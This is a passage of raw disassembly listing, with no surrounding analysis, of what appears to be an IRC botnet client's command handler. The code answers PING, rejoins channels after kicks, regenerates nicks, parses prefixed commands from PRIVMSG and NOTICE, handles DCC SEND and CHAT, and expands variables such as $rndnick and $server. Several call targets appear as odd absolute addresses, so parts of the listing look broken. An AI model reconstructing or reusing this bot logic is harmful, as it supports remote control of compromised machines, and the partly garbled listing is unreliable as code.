ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C2A0 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41BD10 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BD70 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F6C push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BD10 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BD70 lea eax, [ebp+var_428C] push offset asc_42CDD0 ; " :" push eax call sub_41C080 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BD70 mov esi, offset asc_42CDCC ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41C864 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401B9A: ; CODE XREF: sub_401AC7+E7j push esi push ebx call sub_41C864 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401B9A mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F6C cmp [ebp+var_8C], ebx jz loc_401F6C push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BD10 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BE8: ; CODE XREF: sub_401AC7+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C14 cmp byte ptr [eax], 2Dh jnz short loc_401C1C cmp [eax+2], bl jnz short loc_401C1C movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C14: ; CODE XREF: sub_401AC7+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BE8 loc_401C1C: ; CODE XREF: sub_401AC7+12Aj ; sub_401AC7+12Fj cmp [ebp+var_8ED], bl jz short loc_401C27 mov [ebp+var_8], edi loc_401C27: ; CODE XREF: sub_401AC7+15Bj cmp [ebp+var_8F2], bl jz short loc_401C35 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C35: ; CODE XREF: sub_401AC7+166j cmp byte ptr [esi], 0Ah jz short loc_401C6F push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BD70 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41BD70 lea eax, [ebp+var_C4] push offset asc_42CDC8 ; "!" push eax call sub_41C864 add esp, 20h loc_401C6F: ; CODE XREF: sub_401AC7+171j push esi push offset aPing ; "PING" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401CC0 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40981C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D64 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C add esp, 10h jmp loc_401D64 ; --------------------------------------------------------------------------- loc_401CC0: ; CODE XREF: sub_401AC7+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4097D6 push esi push offset a005 ; "005" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4097D6 push esi push offset a302 ; "302" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401D2B push offset a@ ; "@" push [ebp+var_84] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_401D64 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BD70 add esp, 0Ch jmp short loc_401D64 ; --------------------------------------------------------------------------- loc_401D2B: ; CODE XREF: sub_401AC7+238j push esi push offset a433 ; "433" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401D6B push ebx push dword_42909C push dword_429098 push [ebp+arg_10] call sub_40AE77 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40981C add esp, 1Ch loc_401D64: ; CODE XREF: sub_401AC7+1D8j ; sub_401AC7+1F4j ... mov eax, edi jmp loc_401F6F ; --------------------------------------------------------------------------- loc_401D6B: ; CODE XREF: sub_401AC7+273j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D7D: ; CODE XREF: sub_401AC7+2DBj lea eax, [ebp+var_E04] push eax push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401D9A mov [ebp+var_A4], 1 loc_401D9A: ; CODE XREF: sub_401AC7+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D7D mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_401E91 mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DC9: ; CODE XREF: sub_401AC7+38Fj cmp [esi], bl jz loc_401E51 push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BD70 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E51 cmp [ebp+var_84], ebx jz short loc_401E51 push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401E51 lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42CD5C push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_2C4] push eax call sub_415CEE add esp, 20h loc_401E51: ; CODE XREF: sub_401AC7+304j ; sub_401AC7+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DC9 push [ebp+var_84] push [ebp+arg_10] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_401F6C push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E84: ; CODE XREF: sub_401AC7+5F3j ; sub_401AC7+8B0j ... push [ebp+arg_4] call sub_40981C jmp loc_404243 ; --------------------------------------------------------------------------- loc_401E91: ; CODE XREF: sub_401AC7+2F2j push esi push offset aNick ; "NICK" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_401FD4 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EBA: ; CODE XREF: sub_401AC7+445j lea eax, [ebp+var_E04] push eax push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401F07 lea eax, [ebp+var_E04] push 21h push eax call sub_41C720 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F07 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C620 push [ebp+arg_1C] push edi call sub_41C630 add esp, 10h mov edi, 80h loc_401F07: ; CODE XREF: sub_401AC7+404j ; sub_401AC7+41Bj add esi, edi dec [ebp+arg_0] jnz short loc_401EBA lea eax, [ebp+var_C4] test eax, eax jz short loc_401F6C cmp [ebp+arg_24], ebx jz short loc_401F6C push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_401F44 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BD70 jmp loc_40368F ; --------------------------------------------------------------------------- loc_401F44: ; CODE XREF: sub_401AC7+469j mov edi, [ebp+arg_18] xor esi, esi loc_401F49: ; CODE XREF: sub_401AC7+4A3j cmp [edi], bl jz short loc_401F60 lea eax, [ebp+var_E04] push eax push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_401F74 loc_401F60: ; CODE XREF: sub_401AC7+484j inc esi add edi, 80h cmp esi, 3 jl short loc_401F49 loc_401F6C: ; CODE XREF: sub_401AC7+5Bj ; sub_401AC7+F1j ... push 1 loc_401F6E: ; CODE XREF: sub_401AC7+2A2Ej pop eax loc_401F6F: ; CODE XREF: sub_401AC7+29Fj ; sub_401AC7+2A50j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F74: ; CODE XREF: sub_401AC7+497j lea eax, [ebp+var_E04] push 21h push eax call sub_41C720 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F6C push eax call sub_41B960 push [ebp+arg_24] mov edi, eax call sub_41B960 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F6C push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C006 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409862 add esp, 24h jmp short loc_401F6C ; --------------------------------------------------------------------------- loc_401FD4: ; CODE XREF: sub_401AC7+3D9j push esi push offset aPart ; "PART" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_401FF6 push esi push offset aQuit ; "QUIT" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40201D loc_401FF6: ; CODE XREF: sub_401AC7+51Cj mov edi, [ebp+arg_18] xor esi, esi loc_401FFB: ; CODE XREF: sub_401AC7+554j cmp [edi], bl jz short loc_402011 push [ebp+var_90] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_40205E loc_402011: ; CODE XREF: sub_401AC7+536j inc esi add edi, 80h cmp esi, 3 jl short loc_401FFB loc_40201D: ; CODE XREF: sub_401AC7+52Dj push [ebp+var_8C] push offset a353 ; "353" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4020BF push [ebp+var_80] push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402051 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402051: ; CODE XREF: sub_401AC7+57Fj push [ebp+var_80] push offset unk_42CD08 jmp loc_4097CA ; --------------------------------------------------------------------------- loc_40205E: ; CODE XREF: sub_401AC7+548j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CCE8 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push [ebp+var_8C] push offset aPart ; "PART" call sub_41C7E0 add esp, 18h test eax, eax jnz loc_401F6C lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E84 ; --------------------------------------------------------------------------- loc_4020BF: ; CODE XREF: sub_401AC7+56Aj push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C7E0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402113 push [ebp+var_8C] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_402113 push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_409643 cmp dword_429088, ebx jz loc_409643 loc_402113: ; CODE XREF: sub_401AC7+612j ; sub_401AC7+624j push [ebp+var_8C] push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_402293 push [ebp+var_8C] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_402293 mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_402157: ; CODE XREF: sub_401AC7+888j ; sub_401AC7+8C4j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CCCC mov [ebp+arg_8], eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402529 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4023F3 cmp [ebp+var_A4], ebx jz loc_4023CC push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41C006 push [ebp+esi+var_84] lea eax, [ebp+var_1B98] push edi push eax call sub_41C006 push [ebp+esi+var_80] call sub_41BEF9 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BD70 mov eax, [ebp+var_4] mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C4] push offset unk_42CC90 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3AD add esp, 44h mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset loc_416519 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz loc_4023BB loc_40227D: ; CODE XREF: sub_401AC7+7CAj cmp [ebp+var_19F0], ebx jnz loc_40830C push 32h call near ptr 26A053Bh nop jmp short loc_40227D ; --------------------------------------------------------------------------- loc_402293: ; CODE XREF: sub_401AC7+65Cj ; sub_401AC7+672j push [ebp+var_8C] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4022AC mov [ebp+var_4], 1 loc_4022AC: ; CODE XREF: sub_401AC7+7DCj cmp [ebp+var_88], ebx jz loc_401F6C push offset dword_42CC8C push [ebp+var_88] call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_4022D3 cmp [ebp+var_4], ebx jz short loc_4022DF loc_4022D3: ; CODE XREF: sub_401AC7+805j lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_4022DF: ; CODE XREF: sub_401AC7+80Aj cmp [ebp+var_84], ebx jz loc_401F6C inc [ebp+var_84] jz short loc_40232B cmp [ebp+arg_10], ebx jz short loc_40232B lea eax, [ebp+var_338] push eax call sub_41B960 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C5E0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402331 ; --------------------------------------------------------------------------- loc_40232B: ; CODE XREF: sub_401AC7+82Aj ; sub_401AC7+82Fj mov esi, [ebp+var_AC] loc_402331: ; CODE XREF: sub_401AC7+862j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F6C push edi push offset dword_42CC80 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402157 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_40237C mov eax, dword_4C91B8 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_40237C push eax push ecx push offset dword_42CC64 jmp loc_401E84 ; --------------------------------------------------------------------------- loc_40237C: ; CODE XREF: sub_401AC7+897j ; sub_401AC7+8A7j push edi push offset dword_42CC5C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402157 mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_402157 mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_402157 push eax push ecx push offset dword_42CC44 jmp loc_401E84 ; --------------------------------------------------------------------------- loc_4023BB: ; CODE XREF: sub_401AC7+7B0j ; sub_401AC7+76CCj nop call near ptr 26A0EA9h push eax push offset unk_42CC08 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_4023CC: ; CODE XREF: sub_401AC7+6DAj lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset unk_42CBC4 push eax call sub_41C006 add esp, 10h jmp loc_40830C ; --------------------------------------------------------------------------- loc_4023F3: ; CODE XREF: sub_401AC7+6CEj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_40253F cmp [ebp+var_A4], ebx jz loc_402518 push 1Bh call sub_40B5F5 test eax, eax pop ecx jnz loc_402507 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_1 ; "%s" push eax call sub_41C006 push [ebp+esi+var_80] call sub_41BEF9 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BD70 mov eax, [ebp+var_4] mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CB9C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B3AD add esp, 34h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset word_415FB6 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4024F6 loc_4024E0: ; CODE XREF: sub_401AC7+A2Dj cmp [ebp+var_2904], ebx jnz loc_40830C push 32h nop call near ptr 26A053Bh jmp short loc_4024E0 ; --------------------------------------------------------------------------- loc_4024F6: ; CODE XREF: sub_401AC7+A17j nop call near ptr 26A0EA9h push eax push offset unk_42CB64 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_402507: ; CODE XREF: sub_401AC7+95Dj lea eax, [ebp+var_C4] push eax push offset unk_42CB34 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_402518: ; CODE XREF: sub_401AC7+94Dj lea eax, [ebp+var_C4] push eax push offset unk_42CB00 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_401AC7+6B3j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429090 mov [edi], ecx jnz loc_401F6C loc_40253F: ; CODE XREF: sub_401AC7+941j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC ; "c" push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40964B push [ebp+arg_8] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40964B cmp [ebp+var_A4], ebx jnz short loc_40258F push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_409643 loc_40258F: ; CODE XREF: sub_401AC7+AACj cmp [ebp+arg_28], ebx jnz loc_409643 xor edi, edi cmp dword_4294D0, ebx jle loc_402744 mov [ebp+arg_20], offset dword_43B4C0 loc_4025AD: ; CODE XREF: sub_401AC7+B05j push [ebp+arg_8] push [ebp+arg_20] call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_4025D3 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294D0 jl short loc_4025AD jmp loc_402744 ; --------------------------------------------------------------------------- loc_4025D3: ; CODE XREF: sub_401AC7+AF5j push offset asc_42CDD0 ; " :" push [ebp+arg_0] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz loc_401F6C mov cl, byte_429090 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429090 mov [eax+3], cl lea ecx, dword_43B4D8[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BD70 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402628: ; CODE XREF: sub_401AC7+C12j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41C006 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C080 add esp, 14h test eax, eax jz short loc_402694 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_402694 lea eax, dword_43B4C0[edi] push eax call sub_41B960 add [ebp+var_C], eax pop ecx jz short loc_4026CF mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_4026CF push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC add esp, 0Ch jmp short loc_4026CF ; --------------------------------------------------------------------------- loc_402694: ; CODE XREF: sub_401AC7+B89j ; sub_401AC7+B90j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026CF lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BD70 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC add esp, 18h loc_4026CF: ; CODE XREF: sub_401AC7+BA2j ; sub_401AC7+BB6j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402628 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026EC: ; CODE XREF: sub_401AC7+C71j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41C006 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C080 add esp, 14h test eax, eax jz short loc_40272F mov eax, [edi] cmp eax, ebx jz short loc_40272F push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC add esp, 0Ch loc_40272F: ; CODE XREF: sub_401AC7+C4Dj ; sub_401AC7+C53j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026EC mov [ebp+var_2C8], 1 loc_402744: ; CODE XREF: sub_401AC7+AD9j ; sub_401AC7+B07j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429090 jz short loc_40275D cmp [ebp+var_2C8], ebx jz loc_40294E loc_40275D: ; CODE XREF: sub_401AC7+C88j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_4183EC lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_4183EC push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_4183EC push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE77 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_4183EC add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_4183EC mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C080 add esp, 14h loc_4027CF: ; CODE XREF: sub_401AC7+E00j test eax, eax jz loc_4028CC push edi push [ebp+arg_0] call sub_41C080 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BD70 lea eax, [ebp+var_A0] push offset asc_42CABC ; ")" push eax call sub_41C864 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_40281B cmp [ebp+var_A0], 39h jle short loc_402831 loc_40281B: ; CODE XREF: sub_401AC7+D49j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BD70 add esp, 0Ch loc_402831: ; CODE XREF: sub_401AC7+D52j lea eax, [ebp+var_A0] push eax call sub_41BEF9 test eax, eax pop ecx jle short loc_402857 lea eax, [ebp+var_A0] push eax call sub_41BEF9 pop ecx mov [ebp+var_94], al jmp short loc_40286B ; --------------------------------------------------------------------------- loc_402857: ; CODE XREF: sub_401AC7+D79j call sub_41C062 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40286B: ; CODE XREF: sub_401AC7+D8Ej lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41B960 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41BD10 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41BD70 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4183EC push edi push [ebp+arg_0] call sub_41C080 add esp, 30h jmp loc_4027CF ; --------------------------------------------------------------------------- loc_4028CC: ; CODE XREF: sub_401AC7+D0Aj mov edi, 1FFh lea eax, [ebp+var_428C] push edi push [ebp+arg_0] push eax call sub_41BD70 lea eax, [ebp+var_428C] push edi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BD70 lea eax, [ebp+var_4EF8] push offset asc_42CDCC ; " " push eax call sub_41C864 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40291C: ; CODE XREF: sub_401AC7+E6Aj push offset asc_42CDCC ; " " push ebx call sub_41C864 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40291C mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F6C add ecx, 3 mov [eax], ecx loc_40294E: ; CODE XREF: sub_401AC7+C90j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C7E0 pop ecx test eax, eax pop ecx 